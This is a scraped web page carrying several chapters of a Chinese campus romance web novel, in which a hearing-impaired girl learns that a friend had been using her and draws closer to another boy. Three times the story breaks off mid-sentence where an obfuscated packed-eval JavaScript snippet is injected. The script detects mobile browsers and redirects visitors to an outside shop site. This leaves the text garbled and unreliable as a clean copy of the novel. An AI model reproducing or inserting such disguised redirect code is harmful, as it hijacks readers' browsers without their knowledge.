池映雪捏着贺卡往他那边递。 李闻蝉眼眨了一下,遮住一闪而过的落寞。他故作痞笑,双手揣入兜里装无赖貌:“不许不要。” 池映雪失笑,摇了摇头。 李闻蝉微怔,瞳仁清亮,将手缓慢抽出,不确定道:“……让我一起拿?” 池映雪点点脑袋。 他真的会懂她。 两双手分别捏住一张明信片的对边。 夏天巨大而短促的蝉唱,由他指尖触碰的那一瞬间乍然清明,被无限拉长。 明明即将到来的是漫长寒冷的雪天。 她却在这里听见了永不止息的蝉鸣。 接连几天,李闻蝉日日春风得意。 万苏瑶都发现了,问池映雪他身上发生了什么好事。池映雪回了她三个“晕晕”的小表情,仓皇收起手机,刚抬头就与李闻蝉目光交汇。 那晚送她回家后,李闻蝉说天色太晚,行车不便,就这样赖在了老宅。 池老爷子说且让他住上三天,昨晚是最后一晚。这几天他们都一起上学,一起回家,坐李闻蝉的车。 钥匙链在手指闲转,发出清脆的响。李闻蝉凑过来,笑得很流气:“再玩手机,我就扶着你走。” 池映雪哼了哼,踏步向前走。 迎面忽然多了一道白色校服的身影,高高瘦瘦,温润清和,见了她,也同样停在原地。 沈星桥的状态看上去不太好。 人还是那样,也并不憔悴,只是从前波澜不惊的眼几近枯涸。对于他这个从未失态的人来说,实在难得。 池映雪只诧异一会,没多犹豫便要接着抬脚。李闻蝉侧身挡住她的动作更快,若无其事地牵起她的书包带,朝另一侧的楼梯间走去。 秋风萧瑟。 有人打招呼:“沈神。” 沈星桥双眼染红,无意识地重述:“沈神。” 手心一阵刺痛,往日还算不错的头脑一片空白,靠本能反驳:“别叫我沈神。” 这还是他第一次用如此情绪化的语言和人讲话。 生硬,寒冷,别说那个同学,连沈星桥自己也惊讶。 他很快调整呼吸,挂起温和的笑,缓缓旋身:“抱歉,是不是吓到你了?” 来打招呼的是班上的体委,父亲在体育局当干部。 沈星桥补充道:“咳。最近秋凉容易感冒,这位同学,你也要多注意保暖。” 体委的神色恢复自如:“我就说……沈神你不用谦虚,你这么牛,叫你神是应该的!” “对了沈神,我下午有点事,能不能请你替我在体育课上帮老师整理运动会的名册?” “当然,大家都是同学。” “太感谢了……” 周四上午的语文课前,正值大课间,课代表满教室慢悠悠发着期中考前布置的习作。 李闻蝉扔垃圾回座位,路过池映雪的座位,停下脚步。 她和万苏瑶几人去小卖部了。李闻蝉抬手,两眼含笑地把玩桌面小巧的笔筒,尤其是里面伫立的崭新钢笔。 一支是他这两天定制的,另一支是池大伯送的。李闻蝉哼着曲,对另一支挑挑拣拣,转去后面,把他的那支放在笔筒最前。 胡挚尽收眼底,拍拍他桌子:“蝉哥,我有个重大发现。” 李闻蝉心不在焉:“嗯?” “你怎么老对人家雪神的东西动手动脚的。” 手指僵住。 李闻蝉愣了片刻,好似才发现似的,用同一只手抹了抹鼻子。 四下无人,后门安静地关合。 李闻蝉凑近胡挚,唰的一声把窗户关严,连带震倒窗台的橘汁汽水。 他扶正汽水瓶,细微的气泡和低声一道涌起:“和你说个事儿。” “……你别告诉别人。” 76. 第 76 章 另一边的后门突然打开。 万苏瑶刚扔完烤肠的竹签,挽着池映雪蹦蹦跳跳走进来。 胡挚朝她们看了一眼,迅速收回,戳戳定住一般的李闻蝉:“啥事?说呀。” “…………” 李闻蝉单手捂脸,“以后告诉你,咳咳,那个。” 池映雪拉开椅子,来自右侧的谈话声骤然变大,就像连续按住手机左侧靠上的音量按键。 李闻蝉没看过来,貌似很专心地和胡挚聊万圣夜的事,就在今晚。 “是只有高一有万圣活动没错,但我们去年不也有高二来看?听说那个假面cos舞会蛮有意思。” “你说——要是戴上面具还能猜出来是谁,是不是能证明在对方心中,有那么一点位置?” 胡挚:“当时怎么没听你说有意思,明明还没开始就嫌太吵溜去上网。” 李闻蝉:“真的假的。” “我那是……” 音量渐渐降低,恢复正常的大小。 池映雪刚打开手机就收到他的消息:「怎么不戴助听器?」 抬眸,胡挚已经转回去,李闻蝉对她指指耳朵。 她也伸出手指,点了点教室最后的插头。 昨晚看还有余电,她就没有充,没想到刚才响起了低电量预警。 李闻蝉噢了一声,随意比了个“OK”。 上课铃响。 语文老师刚走进教室,就点了他的名字。 胡挚在小群里紧急呼叫:「我蝉哥最近好好做人了!怎么又死亡点名?!」 章子健:「淡定,这么不相信你蝉哥?」 胡挚:…… 不是他不相信蝉哥。 实在是蝉哥有前科。 高一一学年也不知道总共交了几回语文作业。罚抄都是他和穆雨阳代笔的,经常交上去两三份不一样的字迹,署一样的名。 “我知道为了准备期中考,很多人没有把考前布置的这篇随笔放在心上,但你们一定要记住,学习是个长期的过程,最终的目标是高考,不要只看眼前。” 老师话语一转,“这次的作文,全班最高分是我们李闻蝉同学。闻蝉可真是深藏不露,不交作文一年多,一交就拿出这么漂亮的文章。” “除了有些抒情的话略显多余,应该是你自己想说的,和习作主题无关,叫人云里雾里,其余的地方都无可指摘。” “来,上来给大家朗读一下!” 胡挚惊呆了,麻木地鼓掌:“我去,牛啊……” 他哥就是他哥。 池映雪跟着用力拍掌,见李闻蝉就在原位站起,却没移动脚步。 “老师,讲台太远了,懒得走。” 吊儿郎当的,也就只有他敢这么讲话。 李闻蝉挥了挥作文纸:“我就在座位念呗。” “行,认真点啊。” 他这回倒很听话。 原本散漫的站姿一下直挺,面色也从不羁转为正经,搞得池映雪都有些不习惯了。 因为要面对全班朗诵,李闻蝉拿着作文纸朝左边倾斜——斜得有些过了。 正对她的座位。 池映雪的膝盖动了动。面向他也不是,就这么面对讲台也不是。 纠纠结结,清冽的声音已经飘向教室每一处角落,叫人无所遁形:“在所有季节里,我最喜欢冬天。” “因为冬天有雪。” 摇晃的膝盖就这么停下来。 池映雪侧眸看去,他逆着透过窗台照进来的阳光,身姿清阔。 长指捧着薄如蝉翼的作文纸,墨迹力透纸背,浸染和雪一样白的纸张。 全班瞩目。少年的声音抑扬顿挫,清亮掷地。 “………一开始喜欢雪花,会因为触碰到它寒冷而退缩;” “后来,即使寒冷,也要握在手心; 再后来,雪花在我手上融化,我又一次缩回指尖,却不会放手。 宁愿把手冻成和雪花相似的温度,或者等雪自愿化为河流或坚冰。 我会一直做好准备,再次伸出手,将它托举。” 体育大课是一、三、五三个班一起上。 整队后,老师接过沈星桥事先整理好的报名表,叫其它两班的体委来。 “星桥,一会还得再跑一趟,我把钥匙给你。” 沈星桥双手接过体育老师手里的一串钥匙,每把钥匙上都标有相应的场所,从体育办公室到各类场馆一应俱全,离得最近的是游泳馆。 他拿走一班的报名表,回班时正好与前来领表的胡挚擦肩而过。 逆着对方脚步望去,沈星桥静静伫立几秒,接着迈步。 “我发现沈神最近老发呆。就昨天,我上楼的时候,沈神在3楼楼梯口停了好久,我都快进班了,他才在4楼楼梯间冒了个头。” “诶鲤鲤,你和他那么要好,你知不知道为什么?” 池鲤鲤掌心攥紧,扬起下巴:“知道也不会告诉你。” 她暗自瞥向对面五班的方向,有种无力感。 “对了,我听说邢芷前几天回学校了。” “她不是停学了么?” 池鲤鲤猛然站起:“别在我面前提她!” 说话的两个女生面面相觑。 有关系不错的人凑上来:“你俩没事说她干嘛,池鲤鲤和邢芷不知怎的闹翻了,刚撕完一场,她回校就是来赔礼道歉的。邢芷这些年从她那儿拿的东西都可以进去关几年了,眼下正在家里焦头烂额地凑着还呢,估计年底前是回不来了。” “啊?也是,她俩看上去就塑料朋友……” “可池鲤鲤不是号称‘公主’吗,还稀罕自己送出去的东西?” “切。”池鲤鲤在提起邢芷后就愤然离去,说话者直接道,“冒牌公主把人家真公主都欺负跑了,家里还能捧着她吗?” 众人的视线纷纷投向五班。 说来奇怪,一开始池映雪刚转来的时候,并没引起什么波澜,就算顶着“真千金”的头衔,也丝毫不起眼。 尤其站在池鲤鲤身边时,那简直是在衬托人家。她们连她的名字都记不住,可现在别说名字,池映雪的英语作文她们都当范文背了下来。 而且……她居然这么好看吗。她们怎么才发现?? 视线汇集处,胡挚拿着表回来,呼吁大家积极报名。 万苏瑶拉上池映雪就钻向女生们围成的小圈子,席地而坐:“可别让他再看见我,不然又像去年那样被抓壮丁!” 秋怡笑够了,对着池映雪慢慢解释:“去年女生三千米没人报,虎子提前半月就开始筹谋,每天白请瑶瑶吃薯片,还帮她爱豆投票。” “最后图穷匕见,拿出一张报名表。我们瑶瑶没跑完就一屁股坐跑道上,荣获倒一。” 果不其然,胡挚转了一圈,精准无误地走过来,捧着报名表对万苏瑶讪笑。 万苏瑶:“滚!” 胡挚不敢触她的霉头,顺势腆着脸转向旁边的秋怡:“好班长……” 秋怡:“突然想起萌萌姐找我有事,先走了。” 胡挚:“……” 一群没有凝聚力的家伙! 看看他的好蝉哥,一来就报了跳高和三千米两个大头,啊!多么伟岸的男人! 胡挚的视线接着往下移,来到池映雪身上。 三秒后,胡挚冲她友好地笑了笑:“放心雪神,你帮我提那么多分,我就是自己上都不可能害你,走啦!” “这双标狗…” 万苏瑶抓起水瓶就要往他的背影砸,一转眼瞥见池映雪,心里软软的,悄悄将水瓶藏到身后。 哼,这次就饶了他。 小雪这么乖乖又可爱,胡挚要是打她的主意,她才真要扒了他的虎皮。 池映雪低眼,还没来得及伸出的手心空荡荡。 她明白大家的好意。长跑很累,她体能本就不算好,唯一有的是一点耐力。 可是,这是她中学生涯最后一场运动会了。 也是第一场。 以前的运动会,应母都用残障证明和老师打过招呼,让她回家帮工。 池映雪站起身,拍拍身后的杂草,一小步一小步向胡挚走去。 胡挚正在统计接力的男生队伍。快走到男生围成的小群体时,她的脚步越来越慢。 ……真的可以吗? 那可是三千米,虽然她的身体已经被调养过来,跑操轻轻松松,可不代表能够盲目自信。 瑶瑶那么厉害,都坚持不下来。 几个男生在为谁跑最后一棒争执,闹哄哄的,胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720124|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挚提议点兵点将。 完全没人留意到她这点细微的动静,除了一个人。 池映雪和坐在人圈最中心的李闻蝉对视。 “可以的。” 她想起这句话。上一次,他在她耳边说了好多遍,还打了个小赌。 李闻蝉那只漂亮到过分的手搭在绿茵上,闲适地拨弄细碎的草叶。 “胡挚。”他随口道,“有人找。” “找我?是报名的吧——”胡挚已经魔怔了,两眼发光地转过身,一看来人是池映雪,难免失落。 雪神这小身板,看上去就柔柔弱弱的,他都怕跑着跑着被风吹走了。 胡挚:“雪神有兴趣?要不要给你报个啦啦队?或者你看,咱们这边有个呼啦圈……” 池映雪的手揣在兜里,紧紧捏着手机,下意识重新看向李闻蝉。 他一直看着她。 有那么一瞬间,她想,既然他一直都很懂她,是不是也可以让他帮她和胡挚说一声报名的事。 但他只是这么看着她。 李闻蝉抬起下巴,很轻一下。 他似乎真的明白了她的想法,又仅仅等待。 池映雪紧张地吞咽,向胡挚抬起眼,迅速从随身的小包里抽出手机。 里面已经打好了字,显然做好充分准备。 「虎子同学,我要报名三千米长跑。」 胡挚被惊呆了。 身后响起开怀的笑,如若仔细去听,有许多欣慰。但池映雪正处在紧张中,暂时注意不到。 李闻蝉不知何时已经起身凑过来:“虎子同学?可以。” 胡挚挠挠头:“雪神,你认真的?真想好了?” 池映雪坚定点头,两手捧着手机,圆圆的眼睛燃起斗志。 嗯! 李闻蝉摸了摸耳垂,弯腰拎起刚买来的冰水,放在耳垂降火。 “行,行吧……这样,运动会还有两个周,咱抽时间陪你练练,能坚持下来就上,不行了也别给自己压力。” 得到感激的笑脸,胡挚在心里嘟囔了句学神就是学神,随时随地勇于挑战自己。 他想起来什么,用黑笔敲打池映雪的手机:“不过,虎子同学是什么鬼?” 池映雪低头装鹌鹑。 书上说对普通朋友直呼其名不礼貌,“胡挚同学”又太官方客气; 想要学瑶瑶她们喊虎子吧,好像没有熟到那个地步。 胡挚看出她的为难,主动道:“以后直接喊虎子就好,要么你喊我一声虎子哥……” “不行。”李闻蝉斩钉截铁。 胡挚、池映雪:? 李闻蝉把冰水随意一丢,胳膊肘拐走胡挚:“哥什么哥?人家又不是没有哥哥。” 想起池静俭被叫后那个荡漾的面瘫脸,李闻蝉一咬牙。 “就叫虎子多好,简洁大方。” “也是吼……哎呀,心腹大患终于解决了!走,打球去!” 砰! 篮球场上,胡挚刚进一球,搭上李闻蝉的肩:“不是吧蝉哥,这球就这么让给我了?还以为你会来个帅气的大灌篮呢!” 比赛那么顶,他还以为蝉哥打球转性了,合着还是那个懒散劲。 李闻蝉和他一起绕场跑动,视线一扫,啧了一声,步子慢下来。 他睨了眼分差:“再进10分我就下了。” “不是吧……哎,行。” “反正老和一班这种手下败将打也没意思。”胡挚贼兮兮地笑,“尤其今天沈星桥和他们体委都不在,更没劲。” 一班那边换人上场,比赛暂停,穆雨阳站在两班中间,疑惑问:“可沈星桥已经帮老师办完事了啊,老师都走了,他人呢?” 李闻蝉手里的水原本举到嘴边,瓶口一晃,冰水滴洒在皮肤上。 宁世延刚下场,正在旁边取毛巾,随口道:“我刚看到他和池映雪一起走了,看起来有话要说。” “他还找池映雪?”胡挚在心里骂了一句。 宁世延想了想,还是实话实说:“我怎么看着像是他俩互相找呢……” “他俩?……啊!!!” 穆雨阳被喷涌而出的水花吓弹开,赶忙扯走宁世延手里的毛巾帮忙擦拭,“蝉哥你捏水瓶别这么用力呀,水洒了一地。” 77. 第 77 章 沈星桥打开游泳馆的门锁。 空旷的白色场馆,天蓝色的泳池像是巨大的玻璃。进门处有一道不易察觉的槛,沈星桥跨过后迅速转身,伸出手臂。 池映雪低着眼,轻松越了过去。 沈星桥安静地望了她一会。雪白的耳廓多了银白色的仪器,几缕碎发垂落,再往上,紫色的小发卡很醒目。 原来是葡萄。 他的嘴角淡淡上扬,将门虚掩上。 “你现在能听见了。”沈星桥率先开口,“有点迟,但是,恭喜。” 沉默又起。池映雪这才抬眸看他。 他专门找到她,显然不只为了说这些。 “池映雪。” 清隽温和的少年忽然笑起来,笑得很不同寻常,像完美的纯白雕塑产生裂缝,从内而外流露深黑色的恶意。 “你要是一直听不见,或者一早就能听见,多好。” 沈星桥的目光悠然深远。他没有靠近她,那股寒冷的香却顺着游泳馆内湿润的风一起拂来,似打开时间胶囊般穿梭回溯:“在第一次见面后,我就猜到你的身份了。” “池鲤鲤小时候经常私下对我抱怨,她和家人长得一点都不像,我一直没放在心上,直到在图书馆遇见你。” “你的长相和秦姨、怀元哥太相似,我留心关注,终于从池鲤鲤那里得知她被发现不是亲生。在池叔和怀元哥锁定你之前,我故意每天在图书馆蹲守,终于又等到你,为的就是提前博取你的好感。” 池映雪听得懂。如果她回到池家备受宠爱,那之后的关注就是锦上添花;可在她回池家前,最难捱的日子雪中送炭,当然更加珍贵。 事实也差不多。 “你真的很简单。一瓶贩卖机里的牛奶,一袋廉价的面包,就能吃到哭泣。” 沈星桥的声调淡淡的。音色比她想象中冷,“有人抢占你的位置,他们坐下时我没有阻止,直到你回来,孤立无助的时候再伸出援手。” “为什么去巷子里接你,送你回家,因为池老爷子亲自为你取了名。为什么要骗你我们是朋友,因为你有利用的价值。” “重逢的时候,‘好久不见’的手语是我临时上网搜的,你的眼神却很感动。” 沈星桥的手紧扣住另一只手臂的肘关节,微微偏头,笑容扩大,“池映雪,你真的很傻。” 池映雪抓住随身小包的磁吸扣。 手背上浮现细细的青筋,沈星桥停顿几秒:“但比我想的聪明点。你知道么?你撞见李闻蝉打我,是我故意的。” 不知道那位大少爷抽什么风,下手没以前见过的那么狠,变得很有轻重。看见她后,他刻意正面撞上他的拳,也没留下什么痕迹。 “我想试试你还会不会那么心软,可惜,你跟他走了。” 两个人的背影迎着光。总是这样。 那天池映雪来前,他也是这么对李闻蝉说的。 “你们总是这样。”沈星桥在他攥紧的拳下自嘲,“你,明明父亲也去世了,却又有池家的家主收养,还委以重任。好像总有上天庇佑,总能看穿一切。” “也或许是因为盛池强大的情报网吧,你什么都知道。寻常人拼尽全力达到的分数,你随便学一阵子,能考到差不多的水准。” “为什么不能一直当你的纨绔呢?” 还有池映雪,为什么? 一个荒废了十几年学业的混世纨绔。 一个连老师讲什么都听不见、错题一道都没记录过的转校生。 李闻蝉突然愣了一会,紧接着眼神流露他没参悟的复杂。 有愤怒,又有疼惜——不知是为谁,池映雪吗? “你真肤浅。” 李闻蝉蹲身平视他,却有如俯瞰:“我就算了,随便你怎么讨厌我。嫉妒我、恨我、嘲讽我的人多了去,我不在乎。” “可她对你还不够真心吗?” 他像是咬牙挤出来般:“你知不知道我有多羡——” “…有给你讲题的功夫,她能自己多学多少?池鲤鲤针对她,你两边示好不误,你觉得她没看见过吗?她只是想,你是独立的人,你有你的交际,你的朋友,不需要为她为难。” “你需要好的成绩,她更想要证明自己;你很努力,但你不能因为没看见她的努力,就说她全是靠天赋。 Stella给她印了32页双面作文提纲,她一字不差全背下来,还做了仿写;她没有厚错题集,是因为早在第一次错误后就已经无数次在心里默默记忆,有时候一道题就会看整个课间。” “她有天赋,她很聪明。但她同样努力、认真,她配得上所有获得和还没获得的成绩。” “而你,沈星桥。” 李闻蝉盖棺定论。 “你配不上她的x……” 他在这里刹车,口吻染上不易被察觉的酸涩。 “友情。” 友情。 沈星桥在嘴里咀嚼,重述:“那是什么?” “池映雪,以后交朋友记得眼睛擦亮点,别再被我这种人骗到了。” 秋风吹动门缝,细细的淡橘色光束和凉气一起钻入光滑的地面。 有脚步声由远及近隐现,于一门之隔停滞,掩藏在风声、叶声和鸟声里。 除了池映雪,没人能听见。 泳池水被卷起,翻滚,如玻璃碎裂。 池映雪一直安静地等待,直到此刻再次陷入僵局,她慢吞吞地向沈星桥走去。 随身的小包打开,池映雪将钢笔和书签抽出,递给他,连带一张字条。 她走来的时候,又在最前面补上一句。 「你说的一切,我都不想知道。」 「按时间来看,你是我在虹文的第一个朋友。」 「曾经是。」 沈星桥捏紧字条,直到纸张皱起,没有接过一同被递来的另外两样东西。 池映雪强硬地塞给他,只塞进一支钢笔。 “书签就不用了。” 沈星桥语气温淡,“不喜欢就扔掉吧。” 薄薄的书签被推来推去,却始终没有变形,因为池映雪之前在上面套有保护用的膜。 当时她就觉得这首词用来传递友情太奇怪,却信了他的话,现在看来,说不定是他营造暧昧的手段。 为了让她喜欢上他,从而更好地利用。 她是不是该庆幸她没有,因为她遇见了更真诚的对待。 ——可“剧情”里的池映雪呢? 不管她喜欢还是不喜欢,沈星桥那点微末的善意都是唯一的安慰。可就连毫末都是假的。池映雪的嘴角向下抿起,虎牙相顶。 她真的很生气,非常生气! 她捏住书签上前,二人的距离瞬间变得很近。沈星桥陷入怔愣,呼吸不自主地停止,瞳仁剧烈颤抖,书签轻易被装入他口袋。 池映雪又在字条补上一句话:扔掉它的,不是我。 虚掩的门被推开,她独自走出,将门回归原位。 李闻蝉从与她刚才站位相贴的墙上直起身:“——” 来不及说什么,池映雪一把摘掉助听器,略过他快速走远。 脸色很不好看。 还瞪了他一眼。李闻蝉第一次在她脸上见到认真的凶巴巴。 他轻声叹息,抬脚追上。 池映雪步子很急,但腿长有限,李闻蝉轻松地跟在后面。 一前一后胡乱朝未知的方向走,碰巧路过熟悉的垃圾站。 李闻蝉这才想起来手里还攥着那个空瓶,冰蓝色,已经如拧紧的湿抹布般凝结。 他瘪了瘪嘴,停下脚步精准地将废瓶丢入垃圾桶,砰咚一声,两人的距离拉开一些,自言自语的嘟囔同时响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724617|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “他都那么对你了,也不见你真的报复。” “还击都温温柔柔的。” 池鲤鲤也是,邢芷也是。她用斩断关系维护自己,用告知真相分离敌心,用提前预测到一切的聪慧证明清白。 却从来没有为了反击,变成和他们一样浑身尖刺的人。 说实话,他挺佩服,但…… “你就对我有脾气。” 明明早就没有喝水,李闻蝉没来由地吞咽,喉咙很干涩。 如果他的耳朵再大点,没准会齐着往下耷拉。 “……我到底哪里不如他。” 李闻蝉忽然长呼一口气,把嘴角向上努力抬了抬:“算了。你有脾气也挺好的,比憋在心里好……” 算了算了算了。 他就只知道说算了!他想和谁算了? 池映雪越走越快。 她现在状态不对。她太生气了,气她盲目乐观,以为交到的朋友从开始就是利用;气她没有足够的勇气去拜托他的好兄弟报名,他看出来了,就那么看着; 气,气这人来了这么久,在关都没关上的门外等了那么久,就一点都没想过进来带走她! 他不是很介意她和沈星桥走在一起吗?他不是会吃醋吗,还是说已经不会了? 孟心词都说喜欢一个人会有强烈的占有欲,他就不在乎了吗。 还有剧情里,她也受了委屈,被沈星桥欺瞒得更惨,那个时候他又在哪里? 是不是已经去HK了?或者和秋怡说的那样不常来学校。 他们又不在一个班,根本就是陌生人——就像夏蝉和冬雪。 再怎么努力,永远是两个季节。 李闻蝉还在说些什么,池映雪全都听不进去。 吵死了。 心烦意乱。出门时摘掉助听器,听他的声音却更清晰。 真的好烦……她吸了吸鼻子。 鼻尖,眼睑,泪腺,耳朵,哪里都不舒服。 身后一板一眼维持步调的足音停下,继而快步朝前,越来越大声。 关怀的声音随温暖气息一起萦绕过来,宛如刻意握紧尾端的气球被霎时释放:“……助听器,戴着不习惯吗?” 医生那天说了,可能会有耳道不舒服的情况,譬如红肿、过敏。 李闻蝉皱起眉,什么都不再想,弯曲膝盖,从池映雪手里抠出助听器,长眸凝向她的耳朵。 “也没红啊。” 因为检查,手指不小心碰到冰凉的耳。 刹那间,李闻蝉从脊椎骨开始紧张,一阵电流涌上,却没在她身上发现躲闪的讯号。 睫毛闪了闪。 李闻蝉:“…我再好好检查下。” 他的手再次试探向前,触碰那只耳朵,仅仅一下就弹开,换了一边。 这边是左耳,耳朵上方戴着一个小小的葡萄发卡。 这只也没任何问题。 她还是没躲开。李闻蝉忍不住捏了捏同样小巧的耳垂。 几乎是脱口而出:“好软。” [叮!攻略对象好感+1。] [当前男主好感:89。] “……!” 说不清。 是因为好感度的弹窗,还是他近在耳畔的低语。 池映雪的烦乱突然不见了,只剩下腾然升起的热意。 李闻蝉话一出口才发现不对。 她本来就恢复了些听力,这个距离…… 池映雪又瞪了他一眼。 这次是之前熟悉的那种眼神,然后背对他跑走。 视线锁定那道背影,李闻蝉再度跟上。 只是这下埋着头,只顾追。 隔了一会,同一只手拧上自己滚烫的耳垂,拍了拍嘴。 ……要命。 她不会觉得他是变态吧。 78. 第 78 章 美术教室。 池映雪抱着文件夹推门,靠左最后排的座位已经坐有一道散漫的身影。 几乎在她推门的一瞬间,挺直腰背,撑脸的手收到桌面,像小学生上课的端正坐姿。 池映雪在教室前排走来走去,走去走来,慢悠悠绕到教室最后。 又走向右侧中前排,孟心词的身边。 右面大玻璃窗的倒影里,李闻蝉的脑袋耷下去,一只小臂竖在旁边,手掌有一下没一下抓着头发。 池映雪:哼。 上节课后,老师让大家回去搜索八大山人,池映雪从活页文件夹里找到整理好的笔记。 孟心词眉弓挑起,回头望了一眼,凑近她的助听器:“之前你问我的那个问题,有答案了?” 唰—— 活页纸洒落满地。 池映雪赶快弯腰,孟心词帮她一起捡。 直腰抬头时,二人对视,池映雪很轻地点了一下头。 孟心词:“!” 啊啊啊,莫非!不对,她为什么会激动…… 池映雪抓起黑笔,直接在笔记背面写下潦草的大字:「讨厌他!」 下课铃响起,池映雪起身时一个不小心,向左后方望去一眼。 人影已经蒸发了,不知道什么时候溜的。 估计急着去打他那小篮球。 文件夹在桌上哒哒敲了两下,被主人抓起就走。 微积分教室的门口,池鲤鲤手里提着好几个保温袋。 看见池映雪的时候,她立马转身。池映雪没当回事,径直走向阶梯教室的前排。 “等等。” 池鲤鲤忽然出声,将一个紫颜色的袋子拎过去。 她的动作很刁蛮,像是泄愤,手提袋在空中来回荡漾。 “你不用拿那种眼神看着我,我还不至于在这里对你下毒。”池鲤鲤抬起下巴,“……星桥哥哥是微积分选修的课代表,学期过半,请大家喝个奶茶而已。” 池映雪眨了一下眼,对她摆了摆手,接着走向座位。 “池鲤鲤同学,她不要的话,可以给我啊。” 说话者是老打扰星桥哥哥的那个烦人精。池鲤鲤很讨厌她,还没开口,沈星桥走过来,一反常态地制止女生伸出的手:“抱歉,这个不行。” “诶,为什么嘛~” “刚那个女生又不要。我都看见了,只有这个紫色包装的是你亲自拿来教室的。” 沈星桥眼中闪过一丝厌恶,声音低下来,递上另一杯:“和你无关。” 女生和池鲤鲤都被他吓了一跳。这还是他第一次流露抵触。 池鲤鲤不由看了一眼池映雪的方向。她已经低下头做题,安安静静,好像其余一切都不能引起注意。 距离上课只剩两分钟,微积分老师在讲台上检查PPT。 沈星桥的奶茶已经发完,多出来一杯,他拿回座位,向不远处侧头。 进门处忽然传来吱呀声,紧接着响起窃窃议论,从前排蔓延到教室每个角落。 “诶,那是李闻蝉!” “真的假的,他没选这节课啊?” “对啊,你看他手里还抱着篮球呢,不会是来找人的吧。” 可他来找谁? 对了,全年级最受欢迎的女生,除了孟心词,还有个池鲤鲤坐在这里…… 除了个别前排的学生埋头学习,其他人纷纷目光紧随,直到李闻蝉毫无犹豫地大步走向一个安静的座位前。 他停下,众人的焦点也随之凝滞在那张清瘦里带点软糯气质的面孔上。 女生只抬眸确认一眼来人,而后便接着低头演算。 天。 没看李闻蝉还在那等着吗?就这么晾着,她是真的不怕被报复?! 有热心点的同学已经打算偷偷提醒,给她看论坛里有关“校霸”恣意妄为的帖子了。 尤其那长身站了十来秒,果然有所动作,周围的同学屏息凝神,一面怕被校霸的怒火波及,一面担心这个文静乖巧的好学生被报复。 一片寂静里,啪地一声悚然响起,篮球坠地。 李闻蝉从篮球包里取出一杯果茶,微俯下身,轻缓放到她的作业本边。 “热的。”他轻言细语,“多肉葡葡,没加糖,傍晚喝美式影响睡眠质量。” 众人:………… 这人谁。 和论坛上的是一个人? 上课铃响起,李闻蝉把果茶往里推了推:“你旁边没人,往里坐坐。” 池映雪:…… 已经上课了,他再站在过道会挡住后排的同学。她只好往里挪了一个座位,刚动身,李闻蝉就坐到她原先的位置上。 池映雪:「你到底来干嘛?」 她瞥向过道上孤零零的篮球。 李闻蝉黑鞋一勾,篮球滚到桌下停住。 他把运动发带取下来,黑色碎发散落,拂在她耳廓:“紧跟雪神步伐,学习数学知识。” “还有……” 池映雪的视线从ppt移向他。 李闻蝉唇角上扬:“先听课,这位开小差的同学。” 下课后,池映雪立刻起身出门。 李闻蝉反应过来后,低笑一声,匆匆跟上。 出了门,万苏瑶等人居然都等在走廊,池映雪才知道李闻蝉和他们是来找她去高一的万圣活动凑热闹的。 刚下课的教室门口太吵,万苏瑶把池映雪拉到僻静的角落说话:“去了之后可以抽取面具,戴上后进舞蹈厅…就是医务室那栋楼的整个一楼。” “说是舞蹈厅,但到时候现场肯定群魔乱舞,跳不起来,就是很挤,这点一定要小心。如果咱们戴着面具还能认出彼此,可以一起去领取小礼品,去年是饰品,今年估计也差不多。” 池映雪点点头。 她觉得这个机制有点bug,谁能保证去领奖的人真是靠眼睛就认出彼此?那也太难了。 不能说话,不是还有手机可以作弊么。 章子健转了一圈:“穆雨阳不来吗?” “他们一班班委开会。”胡挚接话。 池映雪侧耳偷听,松了口气。 沈星桥好像是一班的团支书。她现在实在不太想见到他。 胡挚:“不对,蝉哥人呢?” 章子健指指斜对面:“到那边接电话去了,好像姓韩。” “噢,韩潇啊……” 手臂收紧。 文件夹硌得手疼。 池映雪茫然地望过去,又听胡挚道:“前几天我和他俩吃饭也是,那俩人好像有什么小秘密,非要走远说话,呵,一会他回来我一定要好好盘问!” 章子健玩笑道:“就是,什么秘密是连你也不能知道的?” 万苏瑶有点心急:“他还要打多久?我们只能去晃一圈,还要上晚自习呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728737|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章子健:“要不你们女生先走?” “这……” 为难之际,池映雪拉住她的袖口。 万苏瑶看过去,那只小手似乎有点颤抖。 小雪:「我们先走吧。」 那边,李闻蝉背对众人通话。 眼前是雪白的墙面,中下部贴有整齐的瓷砖,看得人眼花缭乱。 韩潇:“怎么样,我教你的办法有用吧?” “让人走出失恋阴影,就要转移注意力,找到一个新喜欢的东西,或者人。” 李闻蝉嘀咕:“谁不想似的。” “……那最有用的那个呢?”韩潇好奇,“解铃还须系铃人。亲自去找伤过她的人说开,哪怕被羞辱一顿,也好过犹犹豫豫,藕断丝连。” 